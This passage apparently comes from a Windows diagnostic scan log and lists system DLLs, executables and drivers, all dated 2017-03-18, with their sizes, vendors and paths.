2017-03-18 22:56 - 2017-03-18 22:56 - 00373248 _____ (Microsoft Corporation) C:\windows\system32\SysFxUI.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00373248 _____ (Microsoft Corporation) C:\windows\system32\Drivers\portcls.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00359424 _____ (Microsoft Corporation) C:\windows\system32\WmpDui.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00359424 _____ (Microsoft Corporation) C:\windows\system32\srchadmin.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00356992 _____ (Microsoft Corporation) C:\windows\system32\MP4SDECD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00353696 _____ (Microsoft Corporation) C:\windows\system32\Drivers\pci.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00347032 _____ (Chelsio Communications) C:\windows\system32\Drivers\cht4sx64.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00343040 _____ (Microsoft Corporation) C:\windows\system32\pnrpsvc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00335856 _____ (Microsoft Corporation) C:\windows\system32\WMVSDECD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00333704 _____ (Microsoft Corporation) C:\windows\SysWOW64\mftranscode.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00326496 _____ (Microsoft Corporation) C:\windows\system32\WMASF.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00324096 _____ (Microsoft Corporation) C:\windows\SysWOW64\mscoree.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00316640 _____ C:\windows\WMSysPr9.prx
2017-03-18 22:56 - 2017-03-18 22:56 - 00307712 _____ (Microsoft Corporation) C:\windows\system32\icsvcext.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00305568 _____ (VIA Corporation) C:\windows\system32\Drivers\VSTXRAID.SYS
2017-03-18 22:56 - 2017-03-18 22:56 - 00294816 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WdFilter.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00292864 _____ (Microsoft Corporation) C:\windows\system32\browserexport.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00287232 _____ (Microsoft Corporation) C:\windows\system32\MusNotification.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00285696 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mrxsmb10.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00283648 _____ (Microsoft Corporation) C:\windows\system32\icsvc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00283648 _____ (Microsoft Corporation) C:\windows\system32\dlnashext.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00279968 _____ (Microsoft Corporation) C:\windows\system32\Drivers\msiscsi.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00275456 _____ (Microsoft Corporation) C:\windows\system32\MSFlacEncoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00272896 _____ (Microsoft Corporation) C:\windows\system32\PlayToReceiver.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00272384 _____ (Microsoft Corporation) C:\windows\system32\drt.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00269312 _____ (Microsoft Corporation) C:\windows\system32\ListSvc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00264192 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbvideo.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00259584 _____ (Microsoft Corporation) C:\windows\system32\PresentationHost.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00259488 _____ (AMD Technologies Inc.) C:\windows\system32\Drivers\amdsbs.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00259400 _____ (Microsoft Corporation) C:\windows\system32\MusNotifyIcon.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00254168 _____ (Microsoft Corporation) C:\windows\system32\mfps.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00244880 _____ (Microsoft Corporation) C:\windows\system32\RESAMPLEDMO.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00239616 _____ (Microsoft Corporation) C:\windows\system32\sharemediacpl.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00238080 _____ (Microsoft Corporation) C:\windows\system32\Drivers\1394ohci.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00237168 _____ (Microsoft Corporation) C:\windows\system32\MPG4DECD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00236656 _____ (Microsoft Corporation) C:\windows\system32\MP43DECD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00236032 _____ (Microsoft Corporation) C:\windows\system32\url.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00231936 _____ (Microsoft Corporation) C:\windows\system32\MSAC3ENC.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00231424 _____ (Microsoft Corporation) C:\windows\SysWOW64\RESAMPLEDMO.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00228352 _____ (Microsoft Corporation) C:\windows\system32\hgprint.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00219648 _____ (Microsoft Corporation) C:\windows\system32\WorkFoldersShell.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00219040 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tpm.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00215040 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSFlacEncoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00214016 _____ (Microsoft Corporation) C:\windows\system32\RdpRelayTransport.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00213920 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Ucx01000.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00211968 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAC3ENC.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00209920 _____ (Microsoft Corporation) C:\windows\system32\P2P.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00209408 _____ (Microsoft Corporation) C:\windows\system32\MSAMRNBEncoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00205824 _____ (Microsoft Corporation) C:\windows\system32\wmvdspa.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00203776 _____ (Microsoft Corporation) C:\windows\system32\p2pnetsh.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00201552 _____ (Microsoft Corporation) C:\windows\system32\COLORCNV.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00197632 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAMRNBEncoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00196608 _____ (Microsoft Corporation) C:\windows\system32\wmidx.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00194464 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ataport.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00193536 _____ (Microsoft Corporation) C:\windows\system32\Drivers\intelppm.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00190656 _____ (Microsoft Corporation) C:\windows\SysWOW64\COLORCNV.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00189440 _____ (Fraunhofer Institut Integrierte Schaltungen IIS) C:\windows\SysWOW64\l3codecp.acm
2017-03-18 22:56 - 2017-03-18 22:56 - 00184832 _____ (Microsoft Corporation) C:\windows\system32\msrdc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00182784 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmvdspa.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00181248 _____ (Fraunhofer Institut Integrierte Schaltungen IIS) C:\windows\system32\l3codecp.acm
2017-03-18 22:56 - 2017-03-18 22:56 - 00180736 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rfcomm.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00180736 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hidclass.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00176640 _____ (Microsoft Corporation) C:\windows\system32\Drivers\amdk8.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00173984 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbccgp.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00172544 _____ (Microsoft Corporation) C:\windows\system32\Drivers\amdppm.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00172032 _____ (Microsoft Corporation) C:\windows\system32\Drivers\processr.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00168448 _____ (Intel Corporation) C:\windows\system32\Drivers\iaLPSS2i_I2C_BXT_P.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00167424 _____ (Microsoft Corporation) C:\windows\system32\iexpress.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00167328 _____ (Microsoft Corporation) C:\windows\system32\Drivers\spacedump.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00166816 _____ (VIA Technologies Inc.,Ltd) C:\windows\system32\Drivers\vsmraid.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00166304 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvstor.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00165376 _____ (Intel Corporation) C:\windows\system32\Drivers\iaLPSS2i_I2C.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00160256 _____ (Microsoft Corporation) C:\windows\system32\Drivers\cdrom.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00159744 _____ (Microsoft Corporation) C:\windows\system32\MSOpusDecoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00151040 _____ (Microsoft Corporation) C:\windows\system32\ieUnatt.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00150432 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvraid.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00148480 _____ (Microsoft Corporation) C:\windows\system32\occache.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00144896 _____ (Microsoft Corporation) C:\windows\system32\wextract.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00142848 _____ (Microsoft Corporation) C:\windows\system32\IEAdvpack.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00141728 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthAgent.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00139504 _____ (Microsoft Corporation) C:\windows\system32\mfAACEnc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00138656 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ufxsynopsys.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00136704 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSOpusDecoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00135680 _____ (Microsoft Corporation) C:\windows\system32\Windows.Cortana.PAL.Desktop.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00134656 _____ (Microsoft Corporation) C:\windows\system32\WcnApi.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00133120 _____ (Microsoft Corporation) C:\windows\system32\MSAMRNBDecoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00133120 _____ (Microsoft Corporation) C:\windows\system32\browser.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00132000 _____ (PMC-Sierra, Inc.) C:\windows\system32\Drivers\arcsas.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00131488 _____ (Microsoft Corporation) C:\windows\system32\Drivers\USBSTOR.SYS
2017-03-18 22:56 - 2017-03-18 22:56 - 00129696 _____ (Microsoft Corporation) C:\windows\system32\mfaudiocnv.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00129536 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bthpan.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00127392 _____ (Microsoft Corporation) C:\windows\system32\Drivers\acpiex.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00126976 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAMRNBDecoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00125024 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfps.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00123904 _____ (Microsoft Corporation) C:\windows\system32\Chakrathunk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00123808 _____ (LSI Corporation) C:\windows\system32\Drivers\lsi_sas2i.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00122880 _____ (Microsoft Corporation) C:\windows\system32\Drivers\capimg.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00121344 _____ (Microsoft Corporation) C:\windows\system32\mfdvdec.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00121248 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WdNisDrv.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00120224 _____ (Microsoft Corporation) C:\windows\system32\Drivers\pcmcia.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00119200 _____ (Microsoft Corporation) C:\windows\system32\Drivers\EhStorTcgDrv.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00118784 _____ (Microsoft Corporation) C:\windows\system32\iesysprep.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00118688 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hvsocket.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00117248 _____ (Microsoft Corporation) C:\windows\system32\eShims.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00117152 _____ (Microsoft Corporation) C:\windows\system32\Drivers\pdc.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00115224 _____ (Microsoft Corporation) C:\windows\system32\MP3DMOD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00115200 _____ (Microsoft Corporation) C:\windows\system32\inseng.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00115200 _____ (Microsoft Corporation) C:\windows\system32\Drivers\i8042prt.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00114688 _____ (Microsoft Corporation) C:\windows\system32\dafWCN.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00113152 _____ (Intel Corporation) C:\windows\system32\Drivers\iaLPSSi_I2C.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00111120 _____ (Microsoft Corporation) C:\windows\system32\VIDRESZR.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00110592 _____ (Microsoft Corporation) C:\windows\system32\WorkFoldersGPExt.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00110592 _____ (Microsoft Corporation) C:\windows\system32\Chakradiag.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00110496 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sbp2port.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00109056 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Renewal.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00108960 _____ (Mellanox) C:\windows\system32\Drivers\ndfltr.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00108960 _____ (LSI Corporation) C:\windows\system32\Drivers\lsi_sas.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00108544 _____ (Microsoft Corporation) C:\windows\system32\fdWCN.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00108528 _____ (Microsoft Corporation) C:\windows\SysWOW64\VIDRESZR.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00107424 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vmbus.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00107424 _____ (LSI) C:\windows\system32\Drivers\3ware.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00106496 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hidbth.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00105472 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bthenum.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00103936 _____ (Microsoft Corporation) C:\windows\system32\WorkFolders.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00103424 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbcir.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00103328 _____ (Avago Technologies) C:\windows\system32\Drivers\lsi_sas3i.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00102816 _____ (Microsoft Corporation) C:\windows\system32\Drivers\disk.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00102816 _____ (Chelsio Communications) C:\windows\system32\Drivers\cht4dx64.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00101888 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bowser.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00101376 _____ (Microsoft Corporation) C:\windows\system32\Drivers\pmem.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00099840 _____ (Microsoft Corporation) C:\windows\system32\MusNotificationUx.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\logagent.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00098712 _____ (Microsoft Corporation) C:\windows\system32\Drivers\UfxChipidea.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00098208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sdport.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00098200 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbehci.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00097792 _____ (Microsoft Corporation) C:\windows\system32\Drivers\parport.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00097792 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bthhfenum.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00097280 _____ (Microsoft Corporation) C:\windows\SysWOW64\WcnApi.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00097280 _____ (Microsoft Corporation) C:\windows\system32\Drivers\drmk.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00096768 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Microsoft.Bluetooth.Legacy.LEEnumerator.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\JavaScriptCollectionAgent.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00095648 _____ (Microsoft Corporation) C:\windows\system32\Drivers\stornvme.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00095112 _____ (Microsoft Corporation) C:\windows\system32\mfvdsp.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00094624 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sdstor.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00094208 _____ (Microsoft Corporation) C:\windows\system32\WSCollect.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00093184 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdWCN.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00092672 _____ (Microsoft Corporation) C:\windows\system32\MSAMRNBSource.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00092160 _____ (Microsoft Corporation) C:\windows\system32\WSReset.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00092064 _____ (Microsoft Corporation) C:\windows\system32\Drivers\IPMIDrv.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00091040 _____ (Microsoft Corporation) C:\windows\system32\Drivers\scmbus.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00090464 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfaudiocnv.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00090112 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAMRNBSource.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00090112 _____ (Microsoft Corporation) C:\windows\system32\Drivers\winusb.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\colorcpl.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00086528 _____ (Microsoft Corporation) C:\windows\SysWOW64\colorcpl.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00086528 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hdaudbus.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00085504 _____ (Microsoft Corporation) C:\windows\system32\pnrpnsp.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00085504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BTHUSB.SYS
2017-03-18 22:56 - 2017-03-18 22:56 - 00085504 _____ (Intel Corporation) C:\windows\system32\Drivers\iaLPSS2i_GPIO2_BXT_P.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00084992 _____ (Fraunhofer Institut Integrierte Schaltungen IIS) C:\windows\system32\l3codeca.acm
2017-03-18 22:56 - 2017-03-18 22:56 - 00084480 _____ (Microsoft Corporation) C:\windows\system32\Drivers\serial.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00084248 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfvdsp.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00083360 _____ (Microsoft Corporation) C:\windows\system32\Drivers\volmgr.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00083352 _____ (Advanced Micro Devices) C:\windows\system32\Drivers\amdsata.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00082848 _____ (LSI Corporation) C:\windows\system32\Drivers\lsi_sss.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00081824 _____ (Silicon Integrated Systems) C:\windows\system32\Drivers\sisraid4.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00081824 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vmbkmcl.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00081560 _____ (Microsoft Corporation) C:\windows\SysWOW64\mscories.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00081408 _____ (Intel(R) Corporation) C:\windows\system32\Drivers\iai2c.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00080896 _____ (Microsoft Corporation) C:\windows\system32\Drivers\nvdimmn.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\Pnrphc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00078752 _____ (Microsoft Corporation) C:\windows\system32\Drivers\uaspstor.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00077824 _____ (Microsoft Corporation) C:\windows\system32\iesetup.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00074840 _____ (Microsoft Corporation) C:\windows\system32\Drivers\intelpep.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00074656 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vpci.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00073880 _____ (Microsoft Corporation) C:\windows\system32\mscories.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00073216 _____ (Fraunhofer Institut Integrierte Schaltungen IIS) C:\windows\SysWOW64\l3codeca.acm
2017-03-18 22:56 - 2017-03-18 22:56 - 00072848 _____ (Microsoft Corporation) C:\windows\system32\rtmmvrortc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\msfeedsbs.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00071680 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbser.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00070656 _____ (Microsoft Corporation) C:\windows\SysWOW64\mferror.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00070656 _____ (Microsoft Corporation) C:\windows\system32\mferror.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00070656 _____ (Microsoft Corporation) C:\windows\system32\Groupinghc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00070656 _____ (Microsoft Corporation) C:\windows\system32\EdgeManager.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00070656 _____ (Intel Corporation) C:\windows\system32\Drivers\iaLPSS2i_GPIO2.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00070144 _____ (Microsoft Corporation) C:\windows\system32\MSAlacEncoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00067072 _____ (Microsoft Corporation) C:\windows\system32\drtprov.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00066560 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bthmodem.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\pngfilt.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00064920 _____ (Mellanox) C:\windows\system32\Drivers\winverbs.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\PresentationHostProxy.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Synth3dVsc.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00064416 _____ (Microsoft Corporation) C:\windows\system32\Drivers\kbdclass.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00064416 _____ (Hewlett-Packard Company) C:\windows\system32\Drivers\HpSAMD.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00064416 _____ (Avago Technologies) C:\windows\system32\Drivers\MegaSas2i.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00063904 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fsdepends.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00063904 _____ (Marvell Semiconductor, Inc.) C:\windows\system32\Drivers\mvumis.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00062880 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthProxyStub.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00061952 _____ (Microsoft Corporation) C:\windows\SysWOW64\WorkFoldersRes.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00061952 _____ (Microsoft Corporation) C:\windows\system32\WorkFoldersRes.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00061848 _____ (Avago Technologies) C:\windows\system32\Drivers\percsas3i.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00061440 _____ (Microsoft Corporation) C:\windows\system32\Drivers\TsUsbFlt.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00060320 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mouclass.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00059808 _____ (Avago Technologies) C:\windows\system32\Drivers\megasas.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00058784 _____ (Avago Technologies) C:\windows\system32\Drivers\percsas2i.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\Drivers\umbus.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00057344 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAlacEncoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\MSAlacDecoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BasicDisplay.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00057344 _____ (Microsoft Corporation) C:\windows\system32\browcli.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00054272 _____ (Microsoft Corporation) C:\windows\system32\Drivers\filecrypt.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00054176 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vdrvroot.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00053664 _____ (Microsoft Corporation) C:\windows\system32\Drivers\CAD.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00053656 _____ (Microsoft Corporation) C:\windows\system32\Drivers\pciidex.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00052224 _____ (Microsoft Corporation) C:\windows\system32\drttransport.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00052224 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hidi2c.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\imgutil.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00051712 _____ (Microsoft Corporation) C:\windows\system32\Drivers\UcmUcsi.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00051104 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mausbip.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00051104 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hidinterrupt.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00050688 _____ (Microsoft Corporation) C:\windows\system32\mfh263enc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\mshtmler.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00049152 _____ (Microsoft Corporation) C:\windows\system32\Drivers\circlass.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00049056 _____ (Microsoft Corporation) C:\windows\system32\Drivers\msgpiowin32.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\WcnNetsh.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00047616 _____ (Microsoft Corporation) C:\windows\system32\vmictimeprovider.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00047520 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vmstorfl.sys
